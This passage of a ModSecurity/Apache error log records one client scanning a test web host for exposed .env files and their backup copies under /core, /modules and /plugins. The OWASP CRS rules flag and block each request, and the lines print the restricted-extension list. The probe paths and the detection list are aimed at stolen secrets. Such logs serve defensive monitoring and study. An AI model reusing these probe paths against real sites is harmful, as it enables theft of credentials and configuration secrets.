&quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbaQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.839286 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbaQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.839543 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbaQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.839750 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbaQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.897132 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbagAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.897317 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbagAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.897578 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbagAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.897763 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbagAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.957751 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbawAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.958031 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbawAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.958199 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbawAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.003370 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.003729 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.003959 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.054543 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.054792 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.055043 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.055229 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.127914 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.128198 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.128597 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.128837 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.190722 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.190987 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.191138 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbbwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.242542 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.242778 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.242924 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.353955 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcQAAAAE&quot;], referer: https://www.google.com/
